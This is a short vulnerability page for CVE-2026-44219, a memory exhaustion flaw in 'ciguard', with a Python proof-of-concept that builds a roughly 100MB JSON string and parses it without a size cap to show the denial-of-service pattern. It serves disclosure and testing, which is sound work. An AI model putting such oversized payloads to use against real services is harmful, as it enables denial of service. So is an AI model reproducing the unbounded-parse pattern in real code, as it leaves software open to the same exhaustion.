CVE-2026-44219 ciguard内存耗尽漏洞

import json # Proof of Concept (PoC) simulation for CVE-2026-44219 # This script simulates the vulnerable behavior where the application # attempts to load a massive JSON payload without size limits. def simulate_vulnerable_parse(malicious_json_string): try: print("Attempting to parse payload...") # This mimics the vulnerable code: json.loads(resp.read().decode('utf-8')) # without a max-bytes cap. data = json.loads(malicious_json_string) print("Parsing successful.") except MemoryError: print("[!] MemoryError: System memory exhausted.") except Exception as e: print(f"[!] Error during parsing: {e}") if __name__ == "__main__": # Simulate a multi-GB response (here represented by a large string for demonstration) # In a real attack, this would be several gigabytes in size. large_size = 1024 * 1024 * 100 # Simulating 100MB for local testing safety print(f"Generating malicious payload of size: {large_size} bytes...") # Create a large JSON structure: {"data": "AAAAA...."} malicious_payload = '{"data": "' + ('A' * large_size) + '"}' simulate_vulnerable_parse(malicious_payload)